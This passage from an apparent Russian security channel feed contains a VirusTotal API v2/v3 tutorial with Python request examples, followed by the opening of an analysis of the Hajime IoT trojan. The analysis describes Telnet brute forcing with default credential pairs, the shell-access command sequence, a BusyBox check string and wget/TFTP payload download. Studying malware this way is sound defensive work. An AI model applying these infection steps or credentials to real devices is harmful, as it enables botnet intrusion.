  &amp;quot;response_code&amp;quot;: 1,
  &amp;quot;as_owner&amp;quot;: &amp;quot;HLL LLC&amp;quot;,
  &amp;quot;verbose_msg&amp;quot;: &amp;quot;IP address in dataset&amp;quot;,
  &amp;quot;continent&amp;quot;: &amp;quot;EU&amp;quot;,
  &amp;quot;detected_urls&amp;quot;: [
    {
    &amp;quot;url&amp;quot;: &amp;quot;https://xakep.ru/author/drobotun/&amp;quot;,
    &amp;quot;positives&amp;quot;: 1,
    &amp;quot;total&amp;quot;: 72,
    &amp;quot;scan_date&amp;quot;: &amp;quot;2019-12-18 19:45:02&amp;quot;
    },
    {
    &amp;quot;url&amp;quot;: &amp;quot;https://xakep.ru/2019/12/18/linux-backup/&amp;quot;,
    &amp;quot;positives&amp;quot;: 1,
    &amp;quot;total&amp;quot;: 72,
    &amp;quot;scan_date&amp;quot;: &amp;quot;2019-12-18 16:35:25&amp;quot;
    },
    ...
  ]
}
&lt;/pre&gt;
  &lt;h3&gt;API VirusTotal. Версия 3&lt;/h3&gt;
  &lt;p&gt;В третьей версии API намного больше возможностей по сравнению со второй — даже с использованием бесплатного ключа. Более того, при экспериментах с третьей версией я не заметил, чтобы ограничивалось число загружаемых объектов (файлов или адресов) на сервер в течение минуты. Похоже, ограничения в бете пока вообще не действуют.&lt;/p&gt;
  &lt;p&gt;Функции третьей версии API спроектированы с использованием принципов &lt;a href=&quot;https://habr.com/ru/company/hexlet/blog/274675/&quot; target=&quot;_blank&quot;&gt;REST&lt;/a&gt; и просты для понимания. Ключ доступа здесь передается в заголовке запроса.&lt;/p&gt;
  &lt;h4&gt;Ошибки&lt;/h4&gt;
  &lt;p&gt;В третьей версии API список ошибок (и, соответственно, кодов состояния HTTP) расширился. Были добавлены:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;401 — ошибка типа User Not Active Error, она возникает, когда учетная запись пользователя неактивна;&lt;/li&gt;
    &lt;li&gt;401 — ошибка типа Wrong Credentials Error, возникает, если в запросе использован неверный ключ доступа;&lt;/li&gt;
    &lt;li&gt;404 Not Found Error возникает, когда запрашиваемый объект анализа не найден;&lt;/li&gt;
    &lt;li&gt;409 — ошибка типа Already Exists Error, возникает, когда ресурс уже существует;&lt;/li&gt;
    &lt;li&gt;429 — ошибка типа Quota Exceeded Error, возникает при превышении одной из квот на число запросов (минутной, ежедневной или ежемесячной). Как я уже говорил, во время моих экспериментов никаких ограничений по количеству запросов в минуту не наблюдалось, хотя я использовал бесплатный ключ;&lt;/li&gt;
    &lt;li&gt;429 — ошибка типа Too Many Requests Error, возникает при большом числе запросов за короткое время (может быть вызвана загруженностью сервера);&lt;/li&gt;
    &lt;li&gt;503 — ошибка типа Transient Error, временная ошибка сервера, при которой повторная попытка запроса может сработать.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;В случае ошибки, помимо кода состояния, сервер возвращает дополнительную информацию в форме JSON. Правда, как выяснилось, не для всех кодов состояния HTTP: к примеру, для ошибки 404 дополнительная информация представляет собой обычную строку.&lt;/p&gt;
  &lt;p&gt;Формат JSON для ошибки следующий:&lt;/p&gt;
  &lt;pre&gt;{
  &amp;quot;error&amp;quot;: {
    &amp;quot;code&amp;quot;: &amp;quot;&amp;lt;код состояния HTTP&amp;gt;&amp;quot;,
    &amp;quot;message&amp;quot;: &amp;quot;&amp;lt;сообщение с описанием ошибки&amp;gt;&amp;quot;
  }
}
&lt;/pre&gt;
  &lt;h4&gt;Функции работы с файлами&lt;/h4&gt;
  &lt;p&gt;Третья версия API позволяет:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;загрузить файлы для анализа на сервер;&lt;/li&gt;
    &lt;li&gt;получить URL для загрузки на сервер файла размером больше 32 Мбайт;&lt;/li&gt;
    &lt;li&gt;получить отчеты о результатах анализа файлов;&lt;/li&gt;
    &lt;li&gt;повторно проанализировать файл;&lt;/li&gt;
    &lt;li&gt;получить комментарии пользователей VirusTotal к нужному файлу;&lt;/li&gt;
    &lt;li&gt;отправить свой комментарий к определенному файлу;&lt;/li&gt;
    &lt;li&gt;посмотреть результаты голосования по определенному файлу;&lt;/li&gt;
    &lt;li&gt;проголосовать за файл;&lt;/li&gt;
    &lt;li&gt;получить расширенную информацию о файле.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;Для загрузки файла на сервер нужно его отправить через POST-запрос. Это можно сделать так:&lt;/p&gt;
  &lt;pre&gt;... 
api_url = &amp;#x27;https://www.virustotal.com/api/v3/files&amp;#x27;
headers = {&amp;#x27;x-apikey&amp;#x27; : &amp;#x27;&amp;lt;ключ доступа к API&amp;gt;&amp;#x27;}
with open(&amp;#x27;&amp;lt;путь к файлу&amp;gt;&amp;#x27;, &amp;#x27;rb&amp;#x27;) as file:
  files = {&amp;#x27;file&amp;#x27;: (&amp;#x27;&amp;lt;путь к файлу&amp;gt;&amp;#x27;, file)}
  response = requests.post(api_url, headers=headers, files=files)
...
&lt;/pre&gt;
  &lt;p&gt;В ответ мы получим следующее:&lt;/p&gt;
  &lt;pre&gt;{
  &amp;quot;data&amp;quot;: {
    &amp;quot;id&amp;quot;: &amp;quot;ZTRiNjgxZmJmZmRkZTNlM2YyODlkMzk5MTZhZjYwNDI6MTU3NzIxOTQ1Mg==&amp;quot;,
    &amp;quot;type&amp;quot;: &amp;quot;analysis&amp;quot;
  }
}
&lt;/pre&gt;
  &lt;p&gt;Здесь мы видим значение &lt;code&gt;id&lt;/code&gt;, которое служит идентификатором файла. Этот идентификатор нужно использовать для получения информации об анализе файла в GET-запросах типа &lt;code&gt;/analyses&lt;/code&gt; (об этом мы поговорим чуть позже).&lt;/p&gt;
  &lt;p&gt;Чтобы получить URL для загрузки большого файла (более 32 Мбайт), нужно отправить GET-запрос, в котором в качестве URL указывается &lt;code&gt;https://www.virustotal.com/api/v3/files/upload_url&lt;/code&gt;. В заголовок вставляем ключ доступа:&lt;/p&gt;
  &lt;pre&gt;...
api_url = &amp;#x27;https://www.virustotal.com/api/v3/files/upload_url&amp;#x27;
headers = {&amp;#x27;x-apikey&amp;#x27; : &amp;#x27;&amp;lt;ключ доступа к API&amp;gt;&amp;#x27;}
response = requests.get(api_url, headers=headers)
...
&lt;/pre&gt;
  &lt;p&gt;В ответ получим JSON с адресом, по которому следует загрузить файл для анализа. Полученный URL при этом можно использовать только один раз.&lt;/p&gt;
  &lt;p&gt;Чтобы получить информацию о файле, который сервис уже анализировал, нужно сделать GET-запрос с идентификатором файла в URL (им может быть хеш SHA-256, SHA-1 или MD5). Так же как и в предыдущих случаях, указываем в заголовке ключ доступа:&lt;/p&gt;
  &lt;pre&gt;...
api_url = &amp;#x27;https://www.virustotal.com/api/v3/files/&amp;lt;значение идентификатора файла&amp;gt;&amp;#x27;
headers = {&amp;#x27;x-apikey&amp;#x27; : &amp;#x27;&amp;lt;ключ доступа к API&amp;gt;&amp;#x27;}
response = requests.get(api_url, headers=headers)
...
&lt;/pre&gt;
  &lt;p&gt;В ответ мы получим отчет о проверке файла, где, помимо результатов сканирования всеми антивирусами VirusTotal, будет много дополнительной информации, состав которой зависит от типа проверенного файла. Например, для исполняемых файлов можно увидеть информацию о таких атрибутах:&lt;/p&gt;
  &lt;pre&gt;{
  &amp;quot;attributes&amp;quot;: {
    &amp;quot;authentihash&amp;quot;: &amp;quot;8fcc2f670a166ea78ca239375ed312055c74efdc1f47e79d69966461dd1b2fb6&amp;quot;,
    &amp;quot;creation_date&amp;quot;: 1270596357,
    &amp;quot;exiftool&amp;quot;: {
      &amp;quot;CharacterSet&amp;quot;: &amp;quot;Unicode&amp;quot;,
      &amp;quot;CodeSize&amp;quot;: 20480,
      &amp;quot;CompanyName&amp;quot;: &amp;quot;TYV&amp;quot;,
      &amp;quot;EntryPoint&amp;quot;: &amp;quot;0x109c&amp;quot;,
      &amp;quot;FileFlagsMask&amp;quot;: &amp;quot;0x0000&amp;quot;,
      &amp;quot;FileOS&amp;quot;: &amp;quot;Win32&amp;quot;,
      &amp;quot;FileSubtype&amp;quot;: 0,
      &amp;quot;FileType&amp;quot;: &amp;quot;Win32 EXE&amp;quot;,
      &amp;quot;FileTypeExtension&amp;quot;: &amp;quot;exe&amp;quot;,
      &amp;quot;FileVersion&amp;quot;: 1.0,
      &amp;quot;FileVersionNumber&amp;quot;: &amp;quot;1.0.0.0&amp;quot;,
      &amp;quot;ImageFileCharacteristics&amp;quot;: &amp;quot;No relocs, Executable, No line numbers, No symbols, 32-bit&amp;quot;,
      ...
      ...
      &amp;quot;SubsystemVersion&amp;quot;: 4.0,
      &amp;quot;TimeStamp&amp;quot;: &amp;quot;2010:04:07 00:25:57+01:00&amp;quot;,
      &amp;quot;UninitializedDataSize&amp;quot;: 0
    },
    ...
  }
}
&lt;/pre&gt;
  &lt;p&gt;Или, например, информацию о секциях исполняемого файла:&lt;/p&gt;
  &lt;pre&gt;{
  &amp;quot;sections&amp;quot;: [
    {
      &amp;quot;entropy&amp;quot;: 3.94,
      &amp;quot;md5&amp;quot;: &amp;quot;681b80f1ee0eb1531df11c6ae115d711&amp;quot;,
      &amp;quot;name&amp;quot;: &amp;quot;.text&amp;quot;,
      &amp;quot;raw_size&amp;quot;: 20480,
      &amp;quot;virtual_address&amp;quot;: 4096,
      &amp;quot;virtual_size&amp;quot;: 16588
    },
    {
      &amp;quot;entropy&amp;quot;: 0.0,
      &amp;quot;md5&amp;quot;: &amp;quot;d41d8cd98f00b204e9800998ecf8427e&amp;quot;,
      &amp;quot;name&amp;quot;: &amp;quot;.data&amp;quot;,
      &amp;quot;raw_size&amp;quot;: 0,
      &amp;quot;virtual_address&amp;quot;: 24576,
      &amp;quot;virtual_size&amp;quot;: 2640
    },
    ...
  }
}
&lt;/pre&gt;
  &lt;p&gt;Если файл ранее не загружался на сервер и еще не анализировался, то в ответ мы получим ошибку типа Not Found Error с HTTP-кодом состояния, равным 404:&lt;/p&gt;
  &lt;pre&gt;{
  &amp;quot;error&amp;quot;: {
    &amp;quot;code&amp;quot;: &amp;quot;NotFoundError&amp;quot;,
    &amp;quot;message&amp;quot;: &amp;quot;File \&amp;quot;&amp;lt;идентификатор файла&amp;gt;&amp;quot; not found&amp;quot;
  }
}
&lt;/pre&gt;
  &lt;p&gt;Чтобы повторно проанализировать файл, нужно также отправить на сервер GET-запрос, в котором в URL помещаем идентификатор файла, а в конце добавляем &lt;code&gt;/analyse&lt;/code&gt;:&lt;/p&gt;
  &lt;pre&gt;...
api_url = &amp;#x27;https://www.virustotal.com/api/v3/files/&amp;lt;значение идентификатора файла&amp;gt;/analyse&amp;#x27;
headers = {&amp;#x27;x-apikey&amp;#x27; : &amp;#x27;&amp;lt;ключ доступа к API&amp;gt;&amp;#x27;}
response = requests.get(api_url, headers=headers)
...
&lt;/pre&gt;
  &lt;p&gt;Ответ будет включать в себя такой же дескриптор файла, как и в первом случае — при загрузке файла на сервер. И так же, как и в первом случае, идентификатор из дескриптора можно использовать для получения информации об анализе файла через GET-запрос типа &lt;code&gt;/analyses&lt;/code&gt;.&lt;/p&gt;
  &lt;p&gt;Просмотреть комментарии пользователей сервиса, а также результаты голосования по файлу можно, отправив на сервер соответствующий GET-запрос. Для получения комментариев:&lt;/p&gt;
  &lt;pre&gt;...
api_url = &amp;#x27;https://www.virustotal.com/api/v3/files/&amp;lt;значение идентификатора файла&amp;gt;/comments&amp;#x27;
headers = {&amp;#x27;x-apikey&amp;#x27; : &amp;#x27;&amp;lt;ключ доступа к API&amp;gt;&amp;#x27;}
response = requests.get(api_url, headers=headers)
...
&lt;/pre&gt;
  &lt;p&gt;Для получения результатов голосования:&lt;/p&gt;
  &lt;pre&gt;...
api_url = &amp;#x27;https://www.virustotal.com/api/v3/files/&amp;lt;значение идентификатора файла&amp;gt;/votes&amp;#x27;
headers = {&amp;#x27;x-apikey&amp;#x27; : &amp;#x27;&amp;lt;ключ доступа к API&amp;gt;&amp;#x27;}
response = requests.get(api_url, headers=headers)
...
&lt;/pre&gt;
  &lt;p&gt;В обоих случаях можно использовать дополнительный параметр &lt;code&gt;limit&lt;/code&gt;, определяющий максимальное количество комментариев или голосов в ответе на запрос. Использовать этот параметр можно, например, так:&lt;/p&gt;
  &lt;pre&gt;...
limit = {&amp;#x27;limit&amp;#x27;: str(&amp;lt;число голосов в ответе&amp;gt;)}
api_url = &amp;#x27;https://www.virustotal.com/api/v3/files/&amp;lt;значение идентификатора файла&amp;gt;/votes&amp;#x27;
headers = {&amp;#x27;x-apikey&amp;#x27; : &amp;#x27;&amp;lt;ключ доступа к API&amp;gt;&amp;#x27;}
response = requests.get(api_url, headers=headers, params=limit)
...
&lt;/pre&gt;
  &lt;p&gt;Чтобы разместить свой комментарий или проголосовать за файл, создаем POST-запрос, а комментарий или голос передаем как объект JSON:&lt;/p&gt;
  &lt;pre&gt;...
## Для отправки результатов голосования
votes = {&amp;#x27;data&amp;#x27;: {&amp;#x27;type&amp;#x27;: &amp;#x27;vote&amp;#x27;, &amp;#x27;attributes&amp;#x27;: {&amp;#x27;verdict&amp;#x27;: &amp;lt;&amp;#x27;malicious&amp;#x27; или &amp;#x27;harmless&amp;#x27;&amp;gt;}}}
api_url = &amp;#x27;https://www.virustotal.com/api/v3/files/&amp;lt;значение идентификатора файла&amp;gt;/votes&amp;#x27;
headers = {&amp;#x27;x-apikey&amp;#x27; : &amp;#x27;&amp;lt;ключ доступа к API&amp;gt;&amp;#x27;}
response = requests.post(api_url, headers=headers, json=votes)
...
## Для отправки комментария
comments = {&amp;#x27;data&amp;#x27;: {&amp;#x27;type&amp;#x27;: &amp;#x27;vote&amp;#x27;, &amp;#x27;attributes&amp;#x27;: {&amp;#x27;text&amp;#x27;: &amp;lt;текст комментария&amp;gt;}}}
headers = {&amp;#x27;x-apikey&amp;#x27; : &amp;#x27;&amp;lt;ключ доступа к API&amp;gt;&amp;#x27;}
api_url = &amp;#x27;https://www.virustotal.com/api/v3/files/&amp;lt;значение идентификатора файла&amp;gt;/comments&amp;#x27;
response = requests.post(api_url, headers=headers, json=comments)
...
&lt;/pre&gt;
  &lt;p&gt;Чтобы получить дополнительную информацию о файле, можно запросить подробности о связанных с ним объектах. В данном случае объекты могут характеризовать, например, поведение файла (объект &lt;code&gt;behaviours&lt;/code&gt;) или URL, IP-адреса, доменные имена (объекты &lt;code&gt;contacted_urls&lt;/code&gt;, &lt;code&gt;contacted_ips&lt;/code&gt;, &lt;code&gt;contacted_domains&lt;/code&gt;).&lt;/p&gt;
  &lt;p&gt;Интереснее всего объект &lt;code&gt;behaviours&lt;/code&gt;. К примеру, для исполняемых файлов он будет включать в себя информацию о загружаемых модулях, создаваемых и запускаемых процессах, операциях с файловой системой и реестром, сетевых операциях.&lt;/p&gt;
  &lt;p&gt;Чтобы получить эту информацию, отправляем GET-запрос:&lt;/p&gt;
  &lt;pre&gt;api_url = &amp;#x27;https://www.virustotal.com/api/v3/files/&amp;lt;значение идентификатора файла&amp;gt;/behaviours&amp;#x27;
headers = {&amp;#x27;x-apikey&amp;#x27; : &amp;#x27;&amp;lt;ключ доступа к API&amp;gt;&amp;#x27;}
response = requests.get(api_url, headers=headers)
&lt;/pre&gt;
  &lt;p&gt;В ответе будет объект JSON с информацией о поведении файла:&lt;/p&gt;
  &lt;pre&gt;{
  &amp;quot;data&amp;quot;: [
    {
      &amp;quot;attributes&amp;quot;: {
        &amp;quot;analysis_date&amp;quot;: 1548112224,
        &amp;quot;command_executions&amp;quot;: [
          &amp;quot;C:\\WINDOWS\\system32\\ntvdm.exe -f -i1&amp;quot;,
          &amp;quot;/bin/bash /private/tmp/eicar.com.sh&amp;quot;
        ],
        &amp;quot;has_html_report&amp;quot;: false,
        &amp;quot;has_pcap&amp;quot;: false,
        &amp;quot;last_modification_date&amp;quot;: 1577880343,
        &amp;quot;modules_loaded&amp;quot;: [
          &amp;quot;c:\\windows\\system32\\user32.dll&amp;quot;,
          &amp;quot;c:\\windows\\system32\\imm32.dll&amp;quot;,
          &amp;quot;c:\\windows\\system32\\ntdll.dll&amp;quot;
        ]
      },
      ...
    }
  ]
}
&lt;/pre&gt;
  &lt;h4&gt;Функции для работы с URL&lt;/h4&gt;
  &lt;p&gt;В список возможных операций с URL входят:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;отправка URL на сервер для анализа;&lt;/li&gt;
    &lt;li&gt;получение информации об URL;&lt;/li&gt;
    &lt;li&gt;анализ URL;&lt;/li&gt;
    &lt;li&gt;получение комментариев пользователей VirusTotal по нужному URL;&lt;/li&gt;
    &lt;li&gt;отправка своих комментариев по определенному URL;&lt;/li&gt;
    &lt;li&gt;получение результатов голосования по определенному URL;&lt;/li&gt;
    &lt;li&gt;отправка своего голоса за какой-либо URL;&lt;/li&gt;
    &lt;li&gt;получение расширенной информации о URL;&lt;/li&gt;
    &lt;li&gt;получение информации о домене или IP-адресе нужного URL.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;Большая часть указанных операций (за исключением последней) выполняется аналогично таким же операциям с файлами. При этом в качестве идентификатора URL могут выступать либо строка с URL, закодированная в Base64 без добавочных знаков «равно», либо хеш SHA-256 от URL. Реализовать это можно так:&lt;/p&gt;
  &lt;pre&gt;## Для Base64
import base64
...
id_url = base64.urlsafe_b64encode(url.encode(&amp;#x27;utf-8&amp;#x27;)).decode(&amp;#x27;utf-8&amp;#x27;).rstrip(&amp;#x27;=&amp;#x27;)
...
## Для SHA-256
import hashlib
...
id_url = hashlib.sha256(url.encode()).hexdigest()
&lt;/pre&gt;
  &lt;p&gt;Чтобы отправить URL для анализа, нужно использовать POST-запрос:&lt;/p&gt;
  &lt;pre&gt;data = {&amp;#x27;url&amp;#x27;: &amp;#x27;&amp;lt;строка с именем URL&amp;gt;&amp;#x27;}
api_url = &amp;#x27;https://www.virustotal.com/api/v3/urls&amp;#x27;
headers = {&amp;#x27;x-apikey&amp;#x27; : &amp;#x27;&amp;lt;ключ доступа к API&amp;gt;&amp;#x27;}
response = requests.post(api_url, headers=headers, data=data)
&lt;/pre&gt;
  &lt;p&gt;В ответ мы увидим дескриптор URL (по аналогии с дескриптором файла):&lt;/p&gt;
  &lt;pre&gt;{
  &amp;quot;data&amp;quot;: {
    &amp;quot;id&amp;quot;: &amp;quot;u-1a565d28f8412c3e4b65ec8267ff8e77eb00a2c76367e653be774169ca9d09a6-1577904977&amp;quot;,
    &amp;quot;type&amp;quot;: &amp;quot;analysis&amp;quot;
  }
}
&lt;/pre&gt;
  &lt;p&gt;Идентификатор &lt;code&gt;id&lt;/code&gt; из этого дескриптора используем для получения информации об анализе файла через GET-запрос типа &lt;code&gt;/analyses&lt;/code&gt; (об этом запросе ближе к концу статьи).&lt;/p&gt;
  &lt;p&gt;Получить информацию о доменах или IP-адресах, связанных с каким-либо URL, можно, применив GET-запрос типа &lt;code&gt;/network_location&lt;/code&gt; (здесь используем Base64 или SHA-256 идентификатор URL):&lt;/p&gt;
  &lt;pre&gt;api_url = &amp;#x27;https://www.virustotal.com/api/v3/urls/&amp;lt;идентификатор URL (Base64 или SHA-256)&amp;gt;/network_location&amp;#x27;
headers = {&amp;#x27;x-apikey&amp;#x27; : &amp;#x27;&amp;lt;ключ доступа к API&amp;gt;&amp;#x27;}
response = requests.post(api_url, headers=headers)
&lt;/pre&gt;
  &lt;p&gt;Остальные операции с URL выполняются так же, как и аналогичные операции работы с файлами.&lt;/p&gt;
  &lt;h4&gt;Функции работы с доменами и IP-адресами&lt;/h4&gt;
  &lt;p&gt;Этот список функций включает в себя:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;получение информации о домене или IP-адресе;&lt;/li&gt;
    &lt;li&gt;получение комментариев пользователей VirusTotal по нужному домену или IP-адресу;&lt;/li&gt;
    &lt;li&gt;отправку своих комментариев по определенному домену или IP-адресу;&lt;/li&gt;
    &lt;li&gt;получение результатов голосования по определенному домену или IP-адресу;&lt;/li&gt;
    &lt;li&gt;отправку голоса за домен или IP-адрес;&lt;/li&gt;
    &lt;li&gt;получение расширенной информации о домене или IP-адресе.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;Все эти операции реализуются аналогично таким же операциям с файлами либо с URL. Отличие в том, что здесь используются непосредственно имена доменов или значения IP-адресов, а не их идентификаторы.&lt;/p&gt;
  &lt;p&gt;Например, получить информацию о домене &lt;code&gt;www.xakep.ru&lt;/code&gt; можно таким образом:&lt;/p&gt;
  &lt;pre&gt;api_url = &amp;#x27;https://www.virustotal.com/api/v3/domains/www.xakep.ru&amp;#x27;
headers = {&amp;#x27;x-apikey&amp;#x27; : &amp;#x27;&amp;lt;ключ доступа к API&amp;gt;&amp;#x27;}
response = requests.get(api_url, headers=headers)
&lt;/pre&gt;
  &lt;p&gt;А, к примеру, посмотреть комментарии по IP-адресу 178.248.232.27 — вот так:&lt;/p&gt;
  &lt;pre&gt;api_url = &amp;#x27;https://www.virustotal.com/api/v3/ip_addresses/178.248.232.27/comments&amp;#x27;
headers = {&amp;#x27;x-apikey&amp;#x27; : &amp;#x27;&amp;lt;ключ доступа к API&amp;gt;&amp;#x27;}
response = requests.get(api_url, headers=headers)
&lt;/pre&gt;
  &lt;h4&gt;GET-запрос типа /analyses&lt;/h4&gt;
  &lt;p&gt;Такой запрос позволяет получить информацию о результатах анализа файлов или URL после их загрузки на сервер или после повторного анализа. При этом необходимо использовать идентификатор, содержащийся в поле &lt;code&gt;id&lt;/code&gt; дескриптора файла, или URL, полученные в результате отправки запросов на загрузку файла или URL на сервер либо в результате повторного анализа файла или URL.&lt;/p&gt;
  &lt;p&gt;Например, сформировать подобный запрос для файла можно вот так:&lt;/p&gt;
  &lt;pre&gt;TEST_FILE_ID = &amp;#x27;ZTRiNjgxZmJmZmRkZTNlM2YyODlkMzk5MTZhZjYwNDI6MTU3NjYwMTE1Ng==&amp;#x27;
...
api_url = &amp;#x27;https://www.virustotal.com/api/v3//analyses/&amp;#x27; + TEST_FILE_ID
headers = {&amp;#x27;x-apikey&amp;#x27; : &amp;#x27;&amp;lt;ключ доступа к API&amp;gt;&amp;#x27;}
response = requests.get(api_url, headers=headers)
&lt;/pre&gt;
  &lt;p&gt;И вариант для URL:&lt;/p&gt;
  &lt;pre&gt;TEST_URL_ID = &amp;#x27;u-dce9e8fbe86b145e18f9dcd4aba6bba9959fdff55447a8f9914eb9c4fc1931f9-1576610003&amp;#x27;
...
api_url = &amp;#x27;https://www.virustotal.com/api/v3//analyses/&amp;#x27; + TEST_URL_ID
headers = {&amp;#x27;x-apikey&amp;#x27; : &amp;#x27;&amp;lt;ключ доступа к API&amp;gt;&amp;#x27;}
response = requests.get(api_url, headers=headers)
&lt;/pre&gt;
  &lt;h3&gt;Заключение&lt;/h3&gt;
  &lt;p&gt;Мы прошлись по всем основным функциям API сервиса VirusTotal. Ты можешь позаимствовать приведенный код для своих проектов. Если используешь вторую версию, понадобится следить за тем, чтобы не отправлять запросы слишком часто, но в третьей версии такого ограничения пока что нет. Рекомендую выбрать именно ее, поскольку и возможности здесь тоже намного шире. К тому же рано или поздно она станет основной.&lt;/p&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://t.me/Bureau121&quot; target=&quot;_blank&quot;&gt;ПОДПИСАТЬСЯ - Бюро121&lt;/a&gt;&lt;/p&gt;

</content></entry><entry><id>bureau121:7oLo99vM</id><link rel="alternate" type="text/html" href="https://teletype.in/@bureau121/7oLo99vM?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=bureau121"></link><title>Хадзимэ! Разбираемся, как устроен Hajime, известный троян для IoT</title><published>2020-02-20T17:42:21.059Z</published><updated>2020-02-20T17:42:21.059Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/dc/61/dc614da9-d43d-40fb-a273-b210bd7cbac3.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://teletype.in/files/ab/81/ab814136-1943-4685-b1cf-2b8364c1ef04.jpeg&quot;&gt;Источник: t.me/Bureau121</summary><content type="html">
  &lt;p&gt;Источник: t.me/Bureau121&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/ab/81/ab814136-1943-4685-b1cf-2b8364c1ef04.jpeg&quot; width=&quot;1600&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;&lt;strong&gt;Содержание статьи&lt;/strong&gt;&lt;br /&gt;&lt;em&gt;Взлом устройства&lt;br /&gt;Исследование девайса&lt;br /&gt;Инфектор&lt;br /&gt;Основной модуль трояна&lt;br /&gt;Ботнет&lt;br /&gt;Цели, задачи и выводы&lt;br /&gt;5 октября 2016 года на одном&lt;/em&gt;&lt;/p&gt;
  &lt;h3&gt;Взлом устройства&lt;/h3&gt;
  &lt;p&gt;Как и в случае Mirai, в архитектуре Hajime используется генератор случайного диапазона IP, из которого исключаются локальные и служебные адреса, после чего полученный массив данных передается сканеру. Тот последовательно стучится на 23-й TCP-порт по каждому из адресов, пробуя установить Telnet-соединение. Если попытка увенчалась успехом, Hajime начинает брутить атакуемый хост с использованием словаря, зашитого в самом трояне.&lt;/p&gt;
  &lt;p&gt;Список логинов и паролей в словаре аналогичен тому, который использует Mirai, разве что к нему добавились пары значений root/5up и Admin/5up, с помощью которых Hajime атакует ряд моделей роутеров TP-Link и Atheros с дефолтной прошивкой. Главное отличие кроется в том, что Mirai пытается авторизоваться на удаленном устройстве, перебирая логины и пароли в случайном порядке, в то время как Hajime строго следует списку, причем после каждой неудачной попытки авторизации он закрывает текущее Telnet-соединение и создает новое.&lt;/p&gt;
  &lt;p&gt;Подобно разработчикам Mirai, создатели Hajime предполагали, что пользователи умных устройств далеко не всегда меняют заводские настройки, поэтому словарь содержит набор дефолтных логинов и паролей для разных девайсов. Взлом будет успешен только в том случае, если владелец аппарата поленился изменить предустановленные на заводе-изготовителе параметры авторизации, то есть сам себе злобный антропоморфный дендромутант.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/b623a097f3474b29dcb40.png&quot; width=&quot;732&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Словарик для брута Hajime&lt;br /&gt;&lt;br /&gt;  &lt;/p&gt;
  &lt;p&gt;Если брут удался, Hajime отправляет устройству команду &lt;code&gt;enable&lt;/code&gt;, чтобы получить доступ к привилегированному режиму интерфейса командной строки. За ней следует команда &lt;code&gt;system&lt;/code&gt; для перехода в меню системных опций, а затем команды &lt;code&gt;shell&lt;/code&gt; и &lt;code&gt;sh&lt;/code&gt; запускают командный интерпретатор. Чтобы проверить, запустился ли нужный для его работы шелл, Hajime передает на атакуемый хост строку &lt;code&gt;/bin/busybox ECCHI&lt;/code&gt;. Специфические оболочки не смогут обработать эту команду, в то время как стандартный sh запустит BusyBox, который вернет сообщение об ошибке в аргументе — &lt;code&gt;ECCHI: applet not found&lt;/code&gt;. Это позволит Hajime понять, что он на верном пути.&lt;/p&gt;
  &lt;p&gt; &lt;/p&gt;
  &lt;h3&gt;Исследование девайса&lt;/h3&gt;
  &lt;p&gt;Окончательно убедившись в том, что он попал в Linux-окружение и имеет доступ к командной строке, Hajime начинает исследовать взломанное устройство. Для начала он получает из файла &lt;code&gt;/proc/mounts&lt;/code&gt; список смонтированных файловых систем и ищет открытые на запись папки. Обнаружив первую такую папку, отличную от &lt;code&gt;/proc&lt;/code&gt;, &lt;code&gt;/sys&lt;/code&gt;или &lt;code&gt;/&lt;/code&gt;, Hajime проверяет, действительно ли в нее разрешена запись и не хранится ли уже в ней троянский бинарник. В дальнейшем эта папка будет использоваться в качестве рабочей директории.&lt;/p&gt;
  &lt;p&gt;Затем Hajime исследует заголовок файла &lt;code&gt;/bin/echo&lt;/code&gt;, чтобы определить тип процессора скомпрометированного устройства. В зависимости от аппаратной архитектуры на девайс будет скачан соответствующий ELF-файл, в котором реализован инфектор, доставляющий в систему полезную нагрузку. Hajime поддерживает ARMv5, ARMv7, MIPS и, конечно же, Intel x86-64.&lt;/p&gt;
  &lt;p&gt; &lt;/p&gt;
  &lt;h3&gt;Инфектор&lt;/h3&gt;
  &lt;p&gt;Выяснив, какой процессор установлен на взломанном девайсе, Hajime отправляет командному интерпретатору директиву &lt;code&gt;wget&lt;/code&gt; для загрузки бинарника для соответствующей архитектуры. Этот ELF-файл занимает менее 500 байт и изначально написан на ассемблере. Семплы бинарника, разработанные под различную аппаратную конфигурацию, отличаются друг от друга незначительно, в частности имеют разную структуру sockaddr размером 6 байт, в которой сохраняется IP-адрес и номер порта девайса, откуда изначально выполнялся брут скомпрометированного устройства. В этом и есть одна из особенностей Hajime: адрес для получения полезной нагрузки записан в структуре sockaddr самого инфектора, а не определяется динамически.&lt;/p&gt;
  &lt;p&gt;Инфектор устанавливает TCP-соединение с указанным хостом и принимает оттуда поток байтов. Этот поток перенаправляется на стандартный вывод stdout и по конвейеру сохраняется в файл, который будет запущен на выполнение. Так на взломанное устройство попадает основной модуль трояна.&lt;/p&gt;
  &lt;p&gt;Где-то с середины 2017 года создатели некоторых версий Hajime перестали заморачиваться с ассемблерными инфекторами и вместо этого начали качать полезную нагрузку с помощью Wget или TFTP. Процесс заражения стал проще, но при этом несколько потерял в надежности.&lt;/p&gt;
  &lt;p&gt; &lt;/p&gt;
  &lt;h3&gt;Основной модуль трояна&lt;/h3&gt;
